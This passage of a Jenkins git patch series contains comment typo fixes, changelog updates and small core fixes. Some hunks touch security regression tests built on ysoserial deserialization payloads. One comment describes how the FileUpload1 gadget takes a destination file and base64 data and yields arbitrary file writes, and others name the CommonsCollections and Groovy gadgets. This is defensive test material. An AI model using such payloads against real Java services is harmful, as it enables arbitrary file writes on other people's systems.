does not apper in this case in manual tests anyway + // with newer libs. SECURITY-218 does not appear in this case in manual tests anyway @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-218") @@ -252,7 +252,7 @@ public class Security218CliTest { } if (cause instanceof SecurityException) { - // It should happen if the remote chanel reject a class. + // It should happen if the remote channel reject a class. // That's what we have done in SECURITY-218 => may be OK if (cause.getMessage().contains("Rejected")) { // OK @@ -266,7 +266,7 @@ public class Security218CliTest { final String message = cause.getMessage(); if (message != null && message.contains("cannot be cast to java.util.Set")) { // We ignore this exception, because there is a known issue in the test payload - // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error, + // CommonsCollections1, CommonsCollections2 and Groovy1 fail with this error, // but actually it means that the conversion has been triggered return EXIT_CODE_ASSIGNMENT_ISSUE; } else { diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java index 5a70924221..59b1494cfb 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -52,7 +52,7 @@ import jenkins.security.security218.ysoserial.payloads.util.Reflections; * - writeOldB64;destFile;base64-data * * Yields: - * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - copy an arbitrary file to an arbitrary directory (source file is deleted if possible) * - pre 1.3.1 (+ old JRE): write data to an arbitrary file * - 1.3.1+: write data to a more or less random file in an arbitrary directory * diff --git a/test/src/test/resources/hudson/model/node.xml b/test/src/test/resources/hudson/model/node.xml index 89c034121f..0a7827642f 100644 --- a/test/src/test/resources/hudson/model/node.xml +++ b/test/src/test/resources/hudson/model/node.xml @@ -2,7 +2,7 @@ SlaveFromXML XML slave description - /user/hudson/wokspace + /user/hudson/workspace 42 NORMAL diff --git a/translation-tool.pl b/translation-tool.pl index bf458525ec..b19d31e4d9 100755 --- a/translation-tool.pl +++ b/translation-tool.pl @@ -27,7 +27,7 @@ # Perl script to generate missing translation keys and missing properties files, # to remove unused keys, and to convert utf8 properties files to iso or ascii. # -# 1.- It recursively looks for files in a folder, and analizes them to extract the +# 1.- It recursively looks for files in a folder, and analyzes them to extract the # keys being used in the application. # 2.- If --add=true, it generates the appropriate file for the desired language and adds # these keys to it, adding the english text as a reference. @@ -411,7 +411,7 @@ Usage: $0 --lang=xx [options] [dir] --editor=command -> command to run over each updated file, implies add=true (default none) --reuse=folder -> load a cache with keys already translated in the folder provided in order to utilize them when the same key appears - --counter=true -> to each translated key, unique value is added to easily identyfy match missing translation + --counter=true -> to each translated key, unique value is added to easily identify match missing translation with value in source code (default false) Examples: diff --git a/war/images/readme.txt b/war/images/readme.txt index 9799add8cd..b009c973fd 100644 --- a/war/images/readme.txt +++ b/war/images/readme.txt @@ -1,2 +1,2 @@ This is the workshop to tweak with images. -These images are generated into PNGs and then copied manually over to the resouces/image directory +These images are generated into PNGs and then copied manually over to the resources/image directory diff --git a/war/pom.xml b/war/pom.xml index f51f36bebe..b27cd3ff46 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -467,7 +467,7 @@ THE SOFTWARE. - + ../core/src/main/resources

                                                                    +

                                                                    What's new in 2.46 (2017/02/13)

                                                                    • Failure to serialize a single Action could cause an entire REST export response to fail. Upgraded to Stapler 1.249 with a fix. (issue 40088)
                                                                    -

                                                                    What's new in 2.45 (2017/02/06)

                                                                    • -- GitLab From f6005c3b1c055459499abe9012e2ea7451e27841 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 13 Feb 2017 15:17:28 +0100 Subject: [PATCH 792/811] Noting #2722 #2723 #2727 #2732 #2735 #2737 #2738 #2739 #2744 --- changelog.html | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index ede9c512b6..624f636e25 100644 --- a/changelog.html +++ b/changelog.html @@ -63,8 +63,33 @@ Upcoming changes
                                                                      • Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.249 with a fix. + Upgraded to Stapler 1.250 with a fix. (issue 40088) +
                                                                      • + Do not fail to write a log file just because something deleted the parent directory. + (issue 16634) +
                                                                      • + Use extensible BUILD_NOW_TEXT for parameterized jobs. + (issue 41457) +
                                                                      • + Display an informative message, rather than a Groovy exception, when View#getItems fails. + (issue 41825) +
                                                                      • + Don't consider a project to be parameterized if no parameters are defined. + (issue 37590) +
                                                                      • + Don't add all group names as HTTP headers on "access denied" pages. + (issue 39402) +
                                                                      • + Ensure that PluginManager#dynamicLoad runs as SYSTEM. + (issue 41684) +
                                                                      • + Add Usage Statistics section to the global configuration to make it easier to find. + (issue 32938) +
                                                                      • + Allow groovy CLI command via SSH CLI. + (issue 41765) +

                                                                      What's new in 2.45 (2017/02/06)

                                                                        -- GitLab From d3791e9a8437127abad1722b9a5c45d82e587498 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 13 Feb 2017 10:44:17 -0500 Subject: [PATCH 793/811] Check for null return values from InstanceIdentityProvider methods. --- .../main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java index 976f44d346..2794382889 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -101,7 +101,13 @@ public class JnlpSlaveAgentProtocol4 extends AgentProtocol { public JnlpSlaveAgentProtocol4() throws KeyStoreException, KeyManagementException, IOException { // prepare our local identity and certificate X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + if (identityCertificate == null) { + throw new KeyStoreException("no X509Certificate found; perhaps instance-identity is missing or too old"); + } RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + if (privateKey == null) { + throw new KeyStoreException("no RSAPrivateKey found; perhaps instance-identity is missing or too old"); + } // prepare our keyStore so we can provide our authentication keyStore = KeyStore.getInstance("JKS"); -- GitLab From dbf5efa6ae60c30d00afca61d3fd24f56f2c860c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 13 Feb 2017 11:03:44 -0500 Subject: [PATCH 794/811] [JENKINS-41987] Improved message. --- .../src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java index 2794382889..cfa4ac8de7 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -102,11 +102,11 @@ public class JnlpSlaveAgentProtocol4 extends AgentProtocol { // prepare our local identity and certificate X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); if (identityCertificate == null) { - throw new KeyStoreException("no X509Certificate found; perhaps instance-identity is missing or too old"); + throw new KeyStoreException("JENKINS-41987: no X509Certificate found; perhaps instance-identity module is missing or too old"); } RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); if (privateKey == null) { - throw new KeyStoreException("no RSAPrivateKey found; perhaps instance-identity is missing or too old"); + throw new KeyStoreException("JENKINS-41987: no RSAPrivateKey found; perhaps instance-identity module is missing or too old"); } // prepare our keyStore so we can provide our authentication -- GitLab From 5969b8da99cc5541e313cf343cd31ba3ad2e4843 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 14 Feb 2017 15:23:56 +0000 Subject: [PATCH 795/811] [JENKINS-41899] Pick up fix --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 2746bec069..ec6e0c044a 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -65,7 +65,7 @@ THE SOFTWARE. org.jenkins-ci version-number - 1.1 + 1.3 org.jenkins-ci -- GitLab From b07d193117971e71c886619b02326affaa3a49b3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 14 Feb 2017 19:58:32 +0100 Subject: [PATCH 796/811] Archive changelog for versions older than 2.0 --- changelog.html | 1993 ------------------------------------------------ 1 file changed, 1993 deletions(-) diff --git a/changelog.html b/changelog.html index 624f636e25..7e0088cdde 100644 --- a/changelog.html +++ b/changelog.html @@ -1409,1999 +1409,6 @@ Upcoming changes (issue 33942)
                                                                      -

                                                                      What's new in 1.656 (2016/04/03)

                                                                      -
                                                                        -
                                                                      • - Advertise the correct JNLP port when using the system property override. - (pull 2189) -
                                                                      • - Pipeline runs not reliably started after restart when using Build after other projects are built. - (issue 33971) -
                                                                      • - Prevent badges in build history sidepanel widget from overlapping page contents. - (issue 33826) -
                                                                      • - Developer API: Allow putting @Initializer annotations on instance methods. - (pull 2176) -
                                                                      • - Core development: Rerun failing tests rather than ignoring flaky tests. - (pull 2188) -
                                                                      • - Core development: Prevent leaking threads due to NioChannelSelector. - (pull 2176) -
                                                                      -

                                                                      What's new in 1.655 (2016/03/27)

                                                                      -
                                                                        -
                                                                      • - Downgrade Stapler to 1.239 to fix remote API issues. - (issue 33546, - issue 33605) -
                                                                      • - Plugin filters were failing to be removed and blocking restart. - (issue 33681) -
                                                                      • - Do not hardcode .bat extension for Maven on Windows. - (issue 33693) -
                                                                      • - Reduce log level of UncaughtExceptionHandler message on startup. - (pull 2171) -
                                                                      • - Don't store redundant build causes, make list of build causes immutable. - (issue 33467) -
                                                                      • - Developer API: Add Fingerprint.getXStream(). - (pull 2163) -
                                                                      • - Core Development: Add the .mvn directory and set default -Xmx value. - (pull 2162) -
                                                                      -

                                                                      What's new in 1.654 (2016/03/21)

                                                                      -
                                                                        -
                                                                      • - Improve logging and error message when JNLP is already in use. - (issue 33453) -
                                                                      • - NullPointerException from BuildTrigger$DescriptorImpl.doCheck when using Build other projects in Promotion process of a CloudBees template, and perhaps other circumstances. - (issue 32525) -
                                                                      • - Improved the Build Other Projects help message. - (issue 32134) -
                                                                      • - FutureImpl.cancel() doesn't cancel the linked job. - (issue 33038) -
                                                                      • - Reject malformed range syntax in fingerprints data. - (issue 33037) -
                                                                      • - Do not fail update center check if there are no tool installers defined. - (issue 32831) -
                                                                      • - Log otherwise unhandled exceptions when threads die. - (issue 33395) -
                                                                      • - Do not specifically require .NET framework 2.0 since 4.0 will do as well. - (issue 21484) -
                                                                      -

                                                                      What's new in 1.653 (2016/03/13)

                                                                      -
                                                                        -
                                                                      • - Support encrypted communication between master and JNLP slaves. - (issue 26580) -
                                                                      • - Fix argument masking for sensitive build variables on Windows. - (issue 28790) -
                                                                      • - More compact representation of redundant build causes. - (issue 33467) -
                                                                      • - Developer API: Jenkins.getInstance() cannot be null anymore. Introduced Jenkins.getInstanceOrNull(). -
                                                                      -

                                                                      What's new in 1.652 (2016/03/06)

                                                                      -
                                                                        -
                                                                      • - Under some conditions Jenkins startup could fail because of incorrectly linked extensions; now recovering more gracefully. - (issue 25440) -
                                                                      • - Developer API: Add WorkspaceList.tempDir(…). - (issue 27152) -
                                                                      -

                                                                      What's new in 1.651 (2016/02/28)

                                                                      -
                                                                        -
                                                                      • - Move periodic task log files from JENKINS_HOME/*.log to JENKINS_HOME/logs/tasks/*.log and rotate them periodically rather than overwrite every execution. - (issue 33068) -
                                                                      • - Fix documentation of proxy configuration. - (pull 2060) -
                                                                      -

                                                                      What's new in 1.650 (2016/02/24)

                                                                      - -

                                                                      What's new in 1.649 (2016/02/21)

                                                                      -
                                                                        -
                                                                      • - Allow changing the directory used for the extraction of plugin archives via the --pluginroot CLI option (also controllable via the hudson.PluginManager.workDir system property / context parameter. Also document the --webroot CLI parameter in java -jar jenkins.war --help - (issue 32765) -
                                                                      • - Unify CLI exit code semantics. - (issue 32273) -
                                                                      • - ArrayIndexOutOfBoundsException when parsing range set. - (issue 32852) -
                                                                      • - Improved Polish translation. - (pull 2041, - pull 2044) -
                                                                      -

                                                                      What's new in 1.648 (2016/02/17)

                                                                      - -

                                                                      What's new in 1.647 (2016/02/04)

                                                                      -
                                                                        -
                                                                      • - Retrieve tool installer metadata from all update sites. - (issue 32328) -
                                                                      -

                                                                      What's new in 1.646 (2016/01/25)

                                                                      -
                                                                        -
                                                                      • - The official parent POM for plugins is now hosted in the plugin-pom repository, starting with version 2.0. - (issue 32493) -
                                                                      • - Under some conditions a build record could be loaded twice, leading to erratic behavior. - (issue 22767) -
                                                                      • - Fields on the parameters page are no longer aligned at the bottom. - (issue 31753) -
                                                                      • - Added missing translations for Polish language. - (pull 1986) -
                                                                      -

                                                                      What's new in 1.645 (2016/01/18)

                                                                      -
                                                                        -
                                                                      • - Cleanup of CLI error handling and return codes. - (issue 32273) -
                                                                      • - Boot failure hook script did not work, WebAppMain.contextDestroyed produces weird errors. - (issue 24696) -
                                                                      • - Don't request usage statistics update if Jenkins hasn't finished loading. - (issue 32190) -
                                                                      • - Split test harness into separate artifact. - (issue 32478) -
                                                                      • - Fix encoding of some help files. - (pull 1975) -
                                                                      • - Remove JUnit dependency pulled in from JLine. - (pull 1981) -
                                                                      • - Pass $it to contents of dropdownDescriptorSelector. - (issue 19565) -
                                                                      -

                                                                      What's new in 1.644 (2016/01/10)

                                                                      -
                                                                        -
                                                                      • - API changes: Add a reusable implementation of IdleOfflineCause class. - (commit 7e05b50) -
                                                                      • - Add time zone to generation date in footer in most locales. - (issue 32194) -
                                                                      • - Prevent renaming nodes from overwriting existing nodes. - (issue 31321) -
                                                                      • - Avoid synchronization when setting/getting the list of JDKs to improve performance. - (issue 31932) -
                                                                      • - The Windows service wrapper now specifies the --webroot argument to extract the war file into %BASE%. - (pull 1951) -
                                                                      -

                                                                      What's new in 1.643 (2015/12/20)

                                                                      -
                                                                        -
                                                                      • - Fix when multiple clouds are set up and provisioning of a node is denied. - (issue 31219) -
                                                                      • - Allow retrying core update when the first attempt failed. - (issue 11016) -
                                                                      • - Allow specifying the default TCP slave agent listener port via system property. - (commit 653fbdb) -
                                                                      -

                                                                      What's new in 1.642 (2015/12/13)

                                                                      -
                                                                        -
                                                                      • - Various kinds of settings could not be saved since 1.640. - (issue 31954) -
                                                                      -

                                                                      What's new in 1.641 (2015/12/09)

                                                                      - -

                                                                      What's new in 1.640 (2015/12/07)

                                                                      -
                                                                        -
                                                                      • - Added support of default values in the enum.jelly form element. - (PR 1926) -
                                                                      • - Bytecode Compatibility Transformer computes the common super class without loading classes. - Fixes the ClassCircularityError exception in Ruby Runtime Plugin. - (issue 31019) -
                                                                      • - Extended Choice parameter definitions could not be saved since 1.637. - (issue 31458) -
                                                                      • - Display expected CRON run times even if a warning occurs. - (issue 29059) -
                                                                      • - Rework the online-node command implementation, no functional changes. - (issue 31776) -
                                                                      • - Fix the footer behavior in particular cases. - (issue 30304, - issue 31395) -
                                                                      • - API changes: Deprecate subclassing of hudson.Plugin. - (PR 1940) -
                                                                      -

                                                                      What's new in 1.639 (2015/11/29)

                                                                      -
                                                                        -
                                                                      • - “Discard old builds” setting would be lost if resaving job configuration as of 1.637 without rechecking the box. - (issue 31518) -
                                                                      • - “Form too large” errors from Jetty when submitting massive forms. - (issue 20327) -
                                                                      • - Multiple workspace browser features broken on Windows masters since 1.634. - (issue 31015) -
                                                                      -

                                                                      What's new in 1.638 (2015/11/11)

                                                                      - -

                                                                      What's new in 1.637 (2015/11/08)

                                                                      -
                                                                        -
                                                                      • - Remove useless warnings about a JDK named null. - (issue 31217) -
                                                                      • - New OptionalJobProperty class to simplify JobProperty creation. - (pull 1888) -
                                                                      -

                                                                      What's new in 1.636 (2015/11/01)

                                                                      -
                                                                        -
                                                                      • - Add "lastCompletedBuild" job permalink. - (issue 26270) -
                                                                      -

                                                                      What's new in 1.635 (2015/10/25)

                                                                      -
                                                                        -
                                                                      • - Make Node implement Saveable. - (issue 31055) -
                                                                      • - Revert trigger optimizations made in 1.621 by PR 1617. - (issue 30745) -
                                                                      • - Delegate CLI's delete-node command to the overridable Computer.doDoDelete() method. - Fixes the issue in OpenStack and JClouds plugins. - (issue 31098, regression in 1.618) -
                                                                      • - Prevent autocorrect of username on mobile devices in login forms. - (PR 1531) -
                                                                      • - Describe the built-in JDK as "(System)". - (issue 755) -
                                                                      • - Update JNA library to 4.2.1 in order to integrate fixes for linux-ppc64 and linux-arm platforms. - (issue 15792) -
                                                                      -

                                                                      What's new in 1.634 (2015/10/18)

                                                                      -
                                                                        -
                                                                      • - Fix order of builds in new builds history widget introduced in 1.633. - (issue 30899) -
                                                                      • - Bytecode Compatibility Transformer would fail to transform some classes resulting in ClassNotFoundException. - (issue 30820) -
                                                                      • - Prevent ClassCastException in AbstractBuild::reportError() if the build step is not Publisher. - (issue 30730) -
                                                                      • - Trim job names during the rename operation (it is impossible to delete or rename jobs with trailing spaces). - (issue 30502) -
                                                                      • - Add "graphBg" and "plothBg" background color options to plot URLs - (PR 1769) -
                                                                      • - API changes: Add get method for causes of interruption in hudson.model.Executor - (PR 1712) -
                                                                      • - Allow case insensitive file patterns in Artifacts Archiving. - (issue 5253) -
                                                                      • - Prevent NullPointerException while estimating duration of Queue executable items. - (issue 30456) -
                                                                      • - Fix the resolution of Windows symbolic links in SecretRewriter. - (issue 30456) -
                                                                      • - Let a combobox display its drop-down when focused, so users can see candidates without entering a letter. - (issue 26278) -
                                                                      -

                                                                      What's new in 1.633 (2015/10/11)

                                                                      -
                                                                        -
                                                                      • - Added safari pinned tab icon. - (discussion) -
                                                                      • - Plugin Manager UI changes to prevent users from enabling/disabling/uninstalling plugins at the "wrong" time. - (issue 23150) -
                                                                      • - bytecode-compatibility-transformer produces malformed bytecode. - (issue 28781) -
                                                                      • - Properly handle RuntimeExceptions in run retention policy handler calls. - (issue 29888) -
                                                                      • - Prevent NullPointerException in CLI if Jenkins cannot find the specified job - or a job with the nearest name. - (issue 30742) -
                                                                      • - Do not show REST API link for pages, which have no API handlers. - (issue 29014) -
                                                                      • - JS alert preventing to leave a configuration page without changes. - (issue 21720) -
                                                                      • - JS error triggered by collapsing build history widget. - (issue 30569) -
                                                                      • - Build history pagination and search. - (issue 26445) -
                                                                      -

                                                                      What's new in 1.632 (2015/10/05)

                                                                      -
                                                                        -
                                                                      • - Optimize TagCloud size calculation. - (issue 30705) -
                                                                      • - FlyWeightTasks tied to a label will not cause node provisioning and will be blocked forever. - (issue 30084) -
                                                                      • - Prevent NullPointerException for disabled builds in ReverseBuildTrigger. - (issue 29876) -
                                                                      • - ConsoleLogFilter wasn't truly global - (issue 30777) -
                                                                      • - API changes: hudson.Util.isOverridden() now supports protected methods. - (issue 30002) -
                                                                      • - Sidepanel controls with confirmation (lib/layout/task) did not assign the proper CSS style. - (issue 30787) -
                                                                      -

                                                                      What's new in 1.631 (2015/09/27)

                                                                      -
                                                                        -
                                                                      • - Add proper labels for plugin categories assigned to some plugins. - (PR 1758) -
                                                                      -

                                                                      What's new in 1.630 (2015/09/20)

                                                                      -
                                                                        -
                                                                      • - Make JenkinsRule useable on systems which don't support JNA - (issue 29507) -
                                                                      -

                                                                      What's new in 1.629 (2015/09/15)

                                                                      -
                                                                        -
                                                                      • - Old data monitor made Jenkins single-threaded for all saves. - (issue 30139) -
                                                                      -

                                                                      What's new in 1.628 (2015/09/06)

                                                                      -
                                                                        -
                                                                      • - Replaced all non java.util.logging logging libraries with slf4j interceptors. - (PR 1816) -
                                                                      • - Document allBuilds subtree in remote API for jobs. - (PR 1817) -
                                                                      -

                                                                      What's new in 1.627 (2015/08/30)

                                                                      -
                                                                        -
                                                                      • - Race condition in triggers could cause various NullPointerExceptions. - (issue 29790) -
                                                                      • - Archiving of large artifacts. Tar implementation cannot handle files having a size >8GB. - (issue 10629) -
                                                                      • - Allow plugins to augment or replace the plugin manager UI. - (PR 1788) -
                                                                      -

                                                                      What's new in 1.626 (2015/08/23)

                                                                      -
                                                                        -
                                                                      • - RunIdMigrator fails to revert Matrix and Maven jobs. - (issue 29989) -
                                                                      • - Fix error message "Failed to listen to incoming slave connection" after fixing port through init.groovy.d. - (issue 29798) -
                                                                      • -
                                                                      -

                                                                      What's new in 1.625 (2015/08/17)

                                                                      -
                                                                        -
                                                                      • - Fixed a deadlock between the old data monitor and authorization strategies. - (issue 29936) -
                                                                      • - Allow rejecting configurations with errors in critical fields via REST / CLI. - (issue 28440) -
                                                                      • - Do not display No changes if changelog is still being computed. - (issue 2327) -
                                                                      -

                                                                      What's new in 1.624 (2015/08/09)

                                                                      -
                                                                        -
                                                                      • - Allow more job types to use a custom "Build Now" text. - (issue 26147) -
                                                                      -

                                                                      What's new in 1.623 (2015/08/02)

                                                                      -

                                                                      No notable changes in this release.

                                                                      -

                                                                      What's new in 1.622 (2015/07/27)

                                                                      -
                                                                        -
                                                                      • - Jenkins now support self-restart and daemonization in FreeBSD - (PR 1770) -
                                                                      • - Node provisioner may fail to correctly indicate that provisioning was finished. - (issue 29568) -
                                                                      -

                                                                      What's new in 1.621 (2015/07/19)

                                                                      -
                                                                        -
                                                                      • - Sort by 'Free Disk Space' is incorrect. - (issue 29286) -
                                                                      • - Label expression help is missing in recent Jenkins versions. - (issue 29376) -
                                                                      • - Preemptively break memory cycles causing excessive live-set retention in remoting layer. - (issue 28844) -
                                                                      • - Don't run trigger for disabled/copied projects. - (PR 1617) -
                                                                      -

                                                                      What's new in 1.620 (2015/07/12)

                                                                      -
                                                                        -
                                                                      • - Display system info even when slave is temporarily offline. - (issue 29300) -
                                                                      -

                                                                      What's new in 1.619 (2015/07/05)

                                                                      -
                                                                        -
                                                                      • - Update auto-installer metadata for newly installed plugins. - (issue 27694) -
                                                                      • - Allow plugins to veto process killing. - (issue 9104) -
                                                                      -

                                                                      What's new in 1.618 (2015/06/29)

                                                                      -
                                                                        -
                                                                      • - Fix deadlock in hudson.model.Executor. - (issue 28690) -
                                                                      • - Don't truncate /consoleText output after fixed number of lines. - (issue 14899) -
                                                                      • - Allow delete-* CLI commands to operate on multiple arguments. - (issue 28041) -
                                                                      • - Prevent NullPointerException in Executor/causeOfDeath page if - there is no exception details. - (issue 25734) -
                                                                      • - Fixed synchronization issue when setting JDK installations. - (issue 28292) -
                                                                      • - Fix several loggers which are identifying as the wrong class. - (PR 1651) -
                                                                      • - Revert fix for issue 17290 due to the regressions it caused. - (issue 28601) -
                                                                      • - Fix deadlock between hudson.model.Queue and hudson.model.Computer. - (issue 28840) -
                                                                      • - Fix jobs getting stuck in the Queue when there exists a cycle of upstream/downstream blocks between them. - (issue 28926) -
                                                                      • - Always use earlier start time when merging two equivalent queue items. - (issue 2180) -
                                                                      -

                                                                      What's new in 1.617 (2015/06/07)

                                                                      -
                                                                        -
                                                                      • - Regression in build-history causing ball to not open console - (issue 28704) -
                                                                      • - JNLP slaves did not pick up changes to environment variables. - (issue 27739) -
                                                                      • - NullPointerException in AbstractProject constructor - if Jenkins nodes has not been loaded yet - (issue 28654) -
                                                                      -

                                                                      What's new in 1.616 (2015/05/31)

                                                                      -
                                                                        -
                                                                      • - Job loading can be broken by NullPointerException in a build trigger - (issue 27549) -
                                                                      -

                                                                      What's new in 1.615 (2015/05/25)

                                                                      -
                                                                        -
                                                                      • - Improper calculation of queue length in UnlabeledLoadStatistics - causing overheads in Cloud slave provisioning - (issue 28446) -
                                                                      • - Category titles in Available Plugins list appear wrong in reverse sort order - (issue 17290) -
                                                                      • - CronTab API: Timezone support for scheduling - (issue 9283) -
                                                                      • - NullPointerException when trying to reset Jenkins admin address - (issue 28419) -
                                                                      • - Reduce the thread overhead in NodeMonitorUpdater - (PR 1714) -
                                                                      • - Build history overflows - (issue 28425) -
                                                                      • - Build History badges don't wrap - (issue 28455) -
                                                                      -

                                                                      What's new in 1.614 (2015/05/17)

                                                                      -
                                                                        -
                                                                      • - ExtensionList even listener. - (issue 28434) -
                                                                      • - NullPointerException computing load statistics under some conditions. - (issue 28384) -
                                                                      • - Plugins using class loader masking did not work properly over the slave channel. - (issue 27289) -
                                                                      • - DefaultJnlpSlaveReceiver now returns true when rejecting a takeover. - (issue 27939) -
                                                                      • - Do not follow href after sending POST via l:task - (issue 28437) -
                                                                      -

                                                                      What's new in 1.613 (2015/05/10)

                                                                      -
                                                                        -
                                                                      • - Update bundled LDAP plugin in order to restore missing help files - (issue 28233) -
                                                                      • - hudson.model.Run.getLog() throws IndexOutOfBoundsException when called with maxLines=0 - (issue 27441) -
                                                                      -

                                                                      What's new in 1.612 (2015/05/03)

                                                                      -
                                                                        -
                                                                      • - Jenkins now requires Java 7. - (announcement, - issue 28120) -
                                                                      • - Handle AbortException publisher status in the same way as deprecated false boolean status - (issue 26964) -
                                                                      • - Ensures GlobalSettingsProvider does not swallow fatal exceptions - (issue 26604) -
                                                                      • - add datestamp to node-offline message - (issue 23917) -
                                                                      • - Larger minimum popup menu height. - (issue 27067) -
                                                                      • - Descriptor.getId fix in 1.610 introduced regressions affecting at least the Performance and NodeJS plugins. - (issue 28093 and issue 28110) -
                                                                      • - Under rare conditions Executor.getProgress() can throw a Division by zero exception. - (issue 28115) -
                                                                      • - The Run from the command line option for launching a JNLP slave should display the - configured JVM options. - (issue 28111) -
                                                                      -

                                                                      What's new in 1.611 (2015/04/26)

                                                                      -
                                                                        -
                                                                      • - Descriptor.getId fix in 1.610 introduced a regression affecting at least the Copy Artifacts plugin. - (issue 28011) -
                                                                      • - Search box did not work well inside folders. - (issue 24433) -
                                                                      • - Revert changes in 1.610 made to resolve issue 10629. - (issue 28012, issue 28013) -
                                                                      • - Advertise JNLP slave agents to the correct host name, even in the presence of a reverse proxy. - (issue 27218) -
                                                                      • - Advertised TCP slave agent port number is made tweakable. -
                                                                      • - Correctly identify Channel listener onClose propagated exceptions - (issue 28062 -
                                                                      -

                                                                      What's new in 1.610 (2015/04/19)

                                                                      -
                                                                        -
                                                                      • - Since 1.598 overrides of Descriptor.getId were not correctly handled by form binding, breaking at least the CloudBees Templates plugin. - (issue 26781) -
                                                                      • - Reverted in 1.611, reimplemented in 1.627. Archiving of large artifacts. Tar implementation cannot handle files having a size >8GB. - (issue 10629) -
                                                                      • - The queue state was not updated between scheduling builds. - (issue 27708, - issue 27871) -
                                                                      -

                                                                      What's new in 1.609 (2015/04/12)

                                                                      -
                                                                        -
                                                                      • - When concurrent builds are enabled, artifact retention policy may delete artifact being - used by an actually running build. - (issue 27836) -
                                                                      • - Documentation for $BUILD_ID did not reflect current reality - (issue 26520) -
                                                                      -

                                                                      What's new in 1.608 (2015/04/05)

                                                                      -
                                                                        -
                                                                      • - PeepholePermalink RunListenerImpl oncompleted should be triggered before downstream builds are triggered. - (issue 20989) -
                                                                      • - NPE when /script used on offline slave. - (issue 26751) -
                                                                      • - Make periodic workspace cleanup configurable through system properties. - (issue 21322) -
                                                                      • - Do not offer to restart on /restart and /safeRestart if the configuration does not support it. - (issue 27414) -
                                                                      • - Polling was skipped while quieting down, resulting in ignored commit notifications. This behavior was changed. - (issue 26208) -
                                                                      • - Starting this version, native packages are produced from the new repository. - File issues related to installers and packages in the packaging component. -
                                                                      -

                                                                      What's new in 1.607 (2015/03/30)

                                                                      -
                                                                        -
                                                                      • - JSONP served with the wrong MIME type and rejected by Chrome. - (issue 27607) -
                                                                      • - Security file pattern whitelist was broken for some plugins since 1.597. - (issue 27055) -
                                                                      • - Lock an Executor without creating a Thread - (issue 25938) -
                                                                      • - Hide flyweight master executor when ≥1 heavyweight executors running as subtasks - (issue 26900) -
                                                                      • - Way to mark an Executable that should not block isReadyToRestart - (issue 22941) -
                                                                      • - Refactor the Queue and Nodes to use a consistent locking strategy - (issue 27565) - Note that this change involved moving slave definitions outside the main config.xml file. - If you downgrade after this, your slave settings will be lost. -
                                                                      • - Makes the Jenkins is loading screen not block on the extensions loading lock - (issue 27563) -
                                                                      • - AdjunctManager: exception upon startup - (issue 15355) -
                                                                      • - Removes race condition rendering the list of executors - (issue 27564) -
                                                                      • - Tidy up the locks that were causing deadlocks with the once retention strategy in durable tasks - (issue 27476) -
                                                                      • - Remove any requirement from Jenkins Core to lock on the Queue when rendering the Jenkins UI - (issue 27566) -
                                                                      • - Prevent lazy loading operation when obtaining label information. - (issue 26391) -
                                                                      • - Ensure that the LoadStatistics return a self-consistent result. - (issue 21618) -
                                                                      • - Build reports to be running for 45 yr and counting. - (issue 26777) -
                                                                      -

                                                                      What's new in 1.606 (2015/03/23)

                                                                      -
                                                                        -
                                                                      • - Jenkins CLI doesn't handle arguments with equal signs - (issue 21160) -
                                                                      • - master/slave communication ping reacts badly if a clock jumps. - (issue 21251) -
                                                                      • - JNLP slaves can now connect to master through HTTP proxy. - (issue 6167) -
                                                                      • - Fixes to several security vulnerabilities. - (advisory) -
                                                                      -

                                                                      What's new in 1.605 (2015/03/16)

                                                                      -
                                                                        -
                                                                      • - Integrate Stapler fix for queue item API always returning 404 Not Found since 1.601. - (issue 27256) -
                                                                      -

                                                                      What's new in 1.604 (2015/03/15)

                                                                      -
                                                                        -
                                                                      • - Added a switch (-Dhudson.model.User.allowNonExistentUserToLogin=true) to let users login even when the record is not found in the backend security realm. - (issue 22346) -
                                                                      • - Avoid deadlock when using build-monitor-plugin. - (issue 27183) -
                                                                      • - As security hardening, mark "remember me" cookie as HTTP only - (issue 27277) -
                                                                      • - Show displayName in build remote API. - (issue 26723) -
                                                                      -

                                                                      What's new in 1.602 (2015/03/08)

                                                                      -
                                                                        -
                                                                      • - Show Check Now button also on Available and Updates tabs of plugin manager. - (PR 1593) -
                                                                      -

                                                                      What's new in 1.601 (2015/03/03)

                                                                      -
